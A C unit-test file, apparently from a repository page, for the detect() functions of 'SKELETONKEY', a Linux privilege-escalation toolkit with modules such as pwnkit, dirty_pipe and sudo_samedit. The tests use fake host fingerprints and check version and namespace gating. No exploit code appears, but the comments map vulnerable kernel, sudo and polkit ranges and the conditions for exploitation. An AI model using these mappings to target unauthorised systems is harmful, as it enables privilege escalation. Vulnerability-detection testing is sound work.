extern const struct skeletonkey_module af_packet2_module;
|
||||||
|
extern const struct skeletonkey_module af_unix_gc_module;
|
||||||
|
extern const struct skeletonkey_module netfilter_xtcompat_module;
|
||||||
|
extern const struct skeletonkey_module nft_set_uaf_module;
|
||||||
|
extern const struct skeletonkey_module nft_fwd_dup_module;
|
||||||
|
extern const struct skeletonkey_module nft_payload_module;
|
||||||
|
extern const struct skeletonkey_module stackrot_module;
|
||||||
|
extern const struct skeletonkey_module sequoia_module;
|
||||||
|
extern const struct skeletonkey_module vmwgfx_module;
|
||||||
|
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||||
|
extern const struct skeletonkey_module sudo_samedit_module;
|
||||||
|
extern const struct skeletonkey_module sudoedit_editor_module;
|
||||||
|
extern const struct skeletonkey_module pwnkit_module;
|
||||||
|
|
||||||
|
static int g_pass = 0;
|
||||||
|
static int g_fail = 0;
|
||||||
|
|
||||||
|
static const char *result_str(skeletonkey_result_t r)
|
||||||
|
{
|
||||||
|
switch (r) {
|
||||||
|
case SKELETONKEY_OK: return "OK";
|
||||||
|
case SKELETONKEY_TEST_ERROR: return "TEST_ERROR";
|
||||||
|
case SKELETONKEY_VULNERABLE: return "VULNERABLE";
|
||||||
|
case SKELETONKEY_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
|
||||||
|
case SKELETONKEY_PRECOND_FAIL: return "PRECOND_FAIL";
|
||||||
|
case SKELETONKEY_EXPLOIT_OK: return "EXPLOIT_OK";
|
||||||
|
}
|
||||||
|
return "???";
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* Suppress per-module banner chatter so the test output stays tidy.
|
||||||
|
* Modules respect ctx->json to mean "structured output mode; no banners"
|
||||||
|
* — see each module's `if (!ctx->json) fprintf(...)` pattern. */
|
||||||
|
static void run_one(const char *test_name,
|
||||||
|
const struct skeletonkey_module *m,
|
||||||
|
const struct skeletonkey_host *h,
|
||||||
|
skeletonkey_result_t want)
|
||||||
|
{
|
||||||
|
struct skeletonkey_ctx ctx = {0};
|
||||||
|
ctx.host = h;
|
||||||
|
ctx.json = true; /* silence per-module log lines */
|
||||||
|
|
||||||
|
skeletonkey_result_t got = m->detect(&ctx);
|
||||||
|
if (got == want) {
|
||||||
|
printf("[+] PASS %-40s %s → %s\n",
|
||||||
|
test_name, m->name, result_str(got));
|
||||||
|
g_pass++;
|
||||||
|
} else {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] FAIL %-40s %s: want %s, got %s\n",
|
||||||
|
test_name, m->name,
|
||||||
|
result_str(want), result_str(got));
|
||||||
|
g_fail++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── fingerprints ────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* Linux 6.12.76 (Debian 13), no userns, no D-Bus, not Ubuntu — a
|
||||||
|
* deliberately neutered host that lets the host-fingerprint-only
|
||||||
|
* gates fire without falling into deeper module logic. */
|
||||||
|
static const struct skeletonkey_host h_pre7_no_userns_no_dbus = {
|
||||||
|
.kernel = { .major = 6, .minor = 12, .patch = 76,
|
||||||
|
.release = "6.12.76-test" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.distro_version_id = "13",
|
||||||
|
.distro_pretty = "Debian GNU/Linux 13",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = false,
|
||||||
|
.has_dbus_system = false,
|
||||||
|
.has_systemd = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Fedora 43, no Debian family, userns allowed. */
|
||||||
|
static const struct skeletonkey_host h_fedora_no_debian = {
|
||||||
|
.kernel = { .major = 6, .minor = 14, .patch = 0,
|
||||||
|
.release = "6.14.0-fedora" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "fedora",
|
||||||
|
.distro_version_id = "43",
|
||||||
|
.distro_pretty = "Fedora 43",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_rpm_family = true,
|
||||||
|
.is_debian_family = false,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
.has_dbus_system = true,
|
||||||
|
.has_systemd = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Modern fingerprint with a known-vulnerable sudo (1.8.31 sits in
|
||||||
|
* both the samedit [1.8.2, 1.9.5p1] and sudoedit_editor
|
||||||
|
* [1.8.0, 1.9.12p2) vulnerable ranges) AND a known-vulnerable polkit
|
||||||
|
* (0.105 is pre-0.121 fix). Used to assert the sudo/pwnkit modules
|
||||||
|
* accept the host-fingerprint version strings and reach the
|
||||||
|
* VULNERABLE-by-version path. */
|
||||||
|
static const struct skeletonkey_host h_vuln_sudo = {
|
||||||
|
.kernel = { .major = 5, .minor = 15, .patch = 0,
|
||||||
|
.release = "5.15.0-vulnsudo" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
.sudo_version = "1.8.31",
|
||||||
|
.polkit_version = "0.105",
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Modern fingerprint with a fixed sudo (1.9.13p1 is above both
|
||||||
|
* sudo_samedit and sudoedit_editor vulnerable ranges) AND a fixed
|
||||||
|
* polkit (0.121 is the upstream pwnkit fix release). */
|
||||||
|
static const struct skeletonkey_host h_fixed_sudo = {
|
||||||
|
.kernel = { .major = 6, .minor = 12, .patch = 0,
|
||||||
|
.release = "6.12.0-fixedsudo" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
.sudo_version = "1.9.13p1",
|
||||||
|
.polkit_version = "0.121",
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Ubuntu 24.04, userns allowed, D-Bus running, Debian family
|
||||||
|
* (because Ubuntu has /etc/debian_version). Used as the "fragnesia
|
||||||
|
* preconditions OK" baseline — fragnesia should NOT short-circuit
|
||||||
|
* on userns/userspace gates here. */
|
||||||
|
static const struct skeletonkey_host h_ubuntu_24_userns_ok = {
|
||||||
|
.kernel = { .major = 6, .minor = 8, .patch = 0,
|
||||||
|
.release = "6.8.0-ubuntu" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "ubuntu",
|
||||||
|
.distro_version_id = "24.04",
|
||||||
|
.distro_pretty = "Ubuntu 24.04 LTS",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
.has_dbus_system = true,
|
||||||
|
.has_systemd = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Ancient kernel that predates many bugs (Linux 4.4 LTS). Useful for
|
||||||
|
* the "kernel predates the bug → OK" path in dirty_pipe (bug
|
||||||
|
* introduced 5.8). */
|
||||||
|
static const struct skeletonkey_host h_kernel_4_4 = {
|
||||||
|
.kernel = { .major = 4, .minor = 4, .patch = 0,
|
||||||
|
.release = "4.4.0-ancient" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Recent kernel (Linux 6.12 LTS). Above virtually every backport
|
||||||
|
* threshold in the corpus — modules should report OK via the
|
||||||
|
* "patched by mainline inheritance" branch of kernel_range_is_patched. */
|
||||||
|
static const struct skeletonkey_host h_kernel_6_12 = {
|
||||||
|
.kernel = { .major = 6, .minor = 12, .patch = 0,
|
||||||
|
.release = "6.12.0-recent" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Vulnerable-era kernel (5.14.0) with userns ENABLED. The mirror
|
||||||
|
* of h_kernel_5_14_no_userns — for testing the VULNERABLE-by-version
|
||||||
|
* happy path on modules whose detect() reaches VULNERABLE once both
|
||||||
|
* version and userns gates are satisfied. Carrier file presence
|
||||||
|
* (sudo, su, etc.) is read from the actual filesystem; in CI the
|
||||||
|
* standard Debian containers provide those, so these tests are
|
||||||
|
* deterministic on Linux. */
|
||||||
|
static const struct skeletonkey_host h_kernel_5_14_userns_ok = {
|
||||||
|
.kernel = { .major = 5, .minor = 14, .patch = 0,
|
||||||
|
.release = "5.14.0-vuln-userns-ok" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Vulnerable-era kernel (5.14.0) with userns DISABLED. Most
|
||||||
|
* netfilter / overlayfs / cgroup-class modules need both an in-range
|
||||||
|
* kernel AND unprivileged userns. Kernel 5.14 was deliberately
|
||||||
|
* chosen to clear every module's "predates the bug" pre-check in
|
||||||
|
* this batch (nf_tables introduced 5.14; overlayfs_setuid 5.11;
|
||||||
|
* cls_route4/fuse_legacy older still) while remaining below every
|
||||||
|
* stable-branch backport entry (5.15.x / 5.18.x / 5.19.x in the
|
||||||
|
* relevant tables). The version check therefore says "VULNERABLE by
|
||||||
|
* version", and the userns gate fires next. */
|
||||||
|
static const struct skeletonkey_host h_kernel_5_14_no_userns = {
|
||||||
|
.kernel = { .major = 5, .minor = 14, .patch = 0,
|
||||||
|
.release = "5.14.0-vuln-no-userns" },
|
||||||
|
.arch = "x86_64",
|
||||||
|
.nodename = "test",
|
||||||
|
.distro_id = "debian",
|
||||||
|
.is_linux = true,
|
||||||
|
.is_debian_family = true,
|
||||||
|
.unprivileged_userns_allowed = false,
|
||||||
|
};
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ── tests ───────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
static void run_all(void)
|
||||||
|
{
|
||||||
|
#ifdef __linux__
|
||||||
|
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
|
||||||
|
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
|
||||||
|
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
|
||||||
|
&dirtydecrypt_module, &h_fedora_no_debian,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("dirtydecrypt: kernel 6.8 (ubuntu) still predates → OK",
|
||||||
|
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
|
||||||
|
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
|
||||||
|
&fragnesia_module, &h_pre7_no_userns_no_dbus,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* pack2theroot: not Debian family → PRECOND_FAIL */
|
||||||
|
run_one("pack2theroot: is_debian_family=false → PRECOND_FAIL",
|
||||||
|
&pack2theroot_module, &h_fedora_no_debian,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* pack2theroot: Debian family but no D-Bus socket → PRECOND_FAIL */
|
||||||
|
run_one("pack2theroot: has_dbus_system=false → PRECOND_FAIL",
|
||||||
|
&pack2theroot_module, &h_pre7_no_userns_no_dbus,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* overlayfs: distro != ubuntu → bug is Ubuntu-specific → OK */
|
||||||
|
run_one("overlayfs: distro=debian → not Ubuntu → OK",
|
||||||
|
&overlayfs_module, &h_pre7_no_userns_no_dbus,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("overlayfs: distro=fedora → not Ubuntu → OK",
|
||||||
|
&overlayfs_module, &h_fedora_no_debian,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── kernel-version-gate cases (post-migration coverage) ──── */
|
||||||
|
|
||||||
|
/* dirty_pipe: bug introduced in 5.8; kernel 4.4 predates → OK */
|
||||||
|
run_one("dirty_pipe: kernel 4.4 predates 5.8 → OK",
|
||||||
|
&dirty_pipe_module, &h_kernel_4_4,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* dirty_pipe: kernel 6.12 is above every backport entry → OK */
|
||||||
|
run_one("dirty_pipe: kernel 6.12 above all backports → OK",
|
||||||
|
&dirty_pipe_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* dirty_cow: fix in mainline 4.9; kernel 6.12 is far above → OK */
|
||||||
|
run_one("dirty_cow: kernel 6.12 above 4.9 fix → OK",
|
||||||
|
&dirty_cow_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ptrace_traceme: fix in 5.1.17; kernel 6.12 above → OK */
|
||||||
|
run_one("ptrace_traceme: kernel 6.12 above 5.1.17 fix → OK",
|
||||||
|
&ptrace_traceme_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* cgroup_release_agent: fix in mainline 5.17; kernel 6.12 above → OK */
|
||||||
|
run_one("cgroup_release_agent: kernel 6.12 above 5.17 fix → OK",
|
||||||
|
&cgroup_release_agent_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── userns-gate cases ───────────────────────────────────── */
|
||||||
|
|
||||||
|
/* nf_tables: vulnerable kernel 5.10.0 + userns off → PRECOND_FAIL */
|
||||||
|
run_one("nf_tables: vuln kernel + userns=false → PRECOND_FAIL",
|
||||||
|
&nf_tables_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* fuse_legacy: vulnerable kernel + userns off → PRECOND_FAIL */
|
||||||
|
run_one("fuse_legacy: vuln kernel + userns=false → PRECOND_FAIL",
|
||||||
|
&fuse_legacy_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* cls_route4: vulnerable kernel + userns off → PRECOND_FAIL */
|
||||||
|
run_one("cls_route4: vuln kernel + userns=false → PRECOND_FAIL",
|
||||||
|
&cls_route4_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* overlayfs_setuid: vulnerable kernel (5.14, past the 5.11
|
||||||
|
* introduction and below every backport) + userns off
|
||||||
|
* → PRECOND_FAIL via userns gate */
|
||||||
|
run_one("overlayfs_setuid: vuln kernel + userns=false → PRECOND_FAIL",
|
||||||
|
&overlayfs_setuid_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* ── above-fix coverage for the remaining kernel modules ──
|
||||||
|
* Kernel 6.12 is above every backport entry in the corpus.
|
||||||
|
* For modules with a `kernel_range` table, kernel_range_is_patched
|
||||||
|
* inherits via the "host is newer than every entry" branch and
|
||||||
|
* detect() returns OK. */
|
||||||
|
|
||||||
|
run_one("af_packet: kernel 6.12 above 4.11 fix → OK",
|
||||||
|
&af_packet_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("af_packet2: kernel 6.12 above 5.9 fix → OK",
|
||||||
|
&af_packet2_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("af_unix_gc: kernel 6.12 above 6.6-rc1 fix → OK",
|
||||||
|
&af_unix_gc_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("netfilter_xtcompat: kernel 6.12 above 5.12 fix → OK",
|
||||||
|
&netfilter_xtcompat_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("nft_set_uaf: kernel 6.12 above 6.4-rc4 fix → OK",
|
||||||
|
&nft_set_uaf_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("nft_fwd_dup: kernel 6.12 above 5.17 fix → OK",
|
||||||
|
&nft_fwd_dup_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("nft_payload: kernel 6.12 above 6.2-rc4 fix → OK",
|
||||||
|
&nft_payload_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("stackrot: kernel 6.12 above 6.4-rc4 fix → OK",
|
||||||
|
&stackrot_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("sequoia: kernel 6.12 above 5.13.4 fix → OK",
|
||||||
|
&sequoia_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("vmwgfx: kernel 6.12 above 6.3-rc6 fix → OK",
|
||||||
|
&vmwgfx_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── ancient-kernel predates coverage ────────────────────────
|
||||||
|
* Kernel 4.4 predates several module bugs introduced 5.x+. */
|
||||||
|
|
||||||
|
run_one("nft_set_uaf: kernel 4.4 predates 5.1 → OK",
|
||||||
|
&nft_set_uaf_module, &h_kernel_4_4, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
run_one("stackrot: kernel 4.4 predates 6.1 → OK",
|
||||||
|
&stackrot_module, &h_kernel_4_4, SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── copy_fail_family bridge userns gate ─────────────────────
|
||||||
|
* The 4 dirty_frag siblings + the GCM variant all reach the
|
||||||
|
* bug via XFRM-ESP / AF_RXRPC paths gated on unprivileged
|
||||||
|
* user-namespace creation. Bridge-layer precondition fires
|
||||||
|
* before delegating to the inner DIRTYFAIL detect. copy_fail
|
||||||
|
* itself uses AF_ALG (no userns needed) and bypasses the
|
||||||
|
* gate — its detect would proceed to the inner active probe. */
|
||||||
|
|
||||||
|
run_one("copy_fail_gcm: userns_allowed=false → PRECOND_FAIL",
|
||||||
|
©_fail_gcm_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
run_one("dirty_frag_esp: userns_allowed=false → PRECOND_FAIL",
|
||||||
|
&dirty_frag_esp_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
run_one("dirty_frag_esp6: userns_allowed=false → PRECOND_FAIL",
|
||||||
|
&dirty_frag_esp6_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
run_one("dirty_frag_rxrpc: userns_allowed=false → PRECOND_FAIL",
|
||||||
|
&dirty_frag_rxrpc_module, &h_kernel_5_14_no_userns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* ── userspace version fingerprinting (sudo) ─────────────────
|
||||||
|
* Both sudo modules now consult ctx->host->sudo_version
|
||||||
|
* populated once at startup. */
|
||||||
|
|
||||||
|
/* sudo_samedit: vulnerable sudo 1.8.31 (range [1.8.2, 1.9.5p1])
|
||||||
|
* → VULNERABLE by version */
|
||||||
|
run_one("sudo_samedit: sudo_version=1.8.31 → VULNERABLE",
|
||||||
|
&sudo_samedit_module, &h_vuln_sudo,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* sudo_samedit: fixed sudo 1.9.13p1 (above 1.9.5p1) → OK */
|
||||||
|
run_one("sudo_samedit: sudo_version=1.9.13p1 → OK",
|
||||||
|
&sudo_samedit_module, &h_fixed_sudo,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* pwnkit: vulnerable polkit 0.105 (pre-0.121 fix) → VULNERABLE */
|
||||||
|
run_one("pwnkit: polkit_version=0.105 → VULNERABLE",
|
||||||
|
&pwnkit_module, &h_vuln_sudo,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* pwnkit: fixed polkit 0.121 → OK */
|
||||||
|
run_one("pwnkit: polkit_version=0.121 → OK",
|
||||||
|
&pwnkit_module, &h_fixed_sudo,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudoedit_editor: vulnerable sudo 1.8.31 — but the test user
|
||||||
|
* has no sudoers grant in the CI container, so find_sudoedit_target
|
||||||
|
* fails and detect short-circuits to PRECOND_FAIL ("vulnerable
|
||||||
|
* version present, but no sudoedit grant to abuse"). That's the
|
||||||
|
* documented behaviour for a non-privileged user. */
|
||||||
|
run_one("sudoedit_editor: vuln version, no grant → PRECOND_FAIL",
|
||||||
|
&sudoedit_editor_module, &h_vuln_sudo,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* sudoedit_editor: fixed sudo 1.9.13p1 → OK regardless of grant */
|
||||||
|
run_one("sudoedit_editor: sudo_version=1.9.13p1 → OK",
|
||||||
|
&sudoedit_editor_module, &h_fixed_sudo,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── happy-path VULNERABLE coverage ──────────────────────────
|
||||||
|
* Vulnerable kernel + userns allowed reaches the VULNERABLE
|
||||||
|
* branch on modules whose detect() short-circuits there once
|
||||||
|
* both gates are satisfied. Tests the affirmative verdict
|
||||||
|
* path, not just precondition gates. */
|
||||||
|
|
||||||
|
run_one("nf_tables: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||||
|
&nf_tables_module, &h_kernel_5_14_userns_ok,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
run_one("cls_route4: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||||
|
&cls_route4_module, &h_kernel_5_14_userns_ok,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
run_one("nft_set_uaf: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||||
|
&nft_set_uaf_module, &h_kernel_5_14_userns_ok,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
run_one("nft_fwd_dup: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||||
|
&nft_fwd_dup_module, &h_kernel_5_14_userns_ok,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
run_one("nft_payload: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||||
|
&nft_payload_module, &h_kernel_5_14_userns_ok,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
#else
|
||||||
|
fprintf(stderr, "[i] non-Linux platform: detect() bodies are stubbed; "
|
||||||
|
"tests skipped (would tautologically pass).\n");
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "=== SKELETONKEY detect() unit tests ===\n\n");
|
||||||
|
run_all();
|
||||||
|
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
|
||||||
|
g_pass, g_fail);
|
||||||
|
return g_fail ? 1 : 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user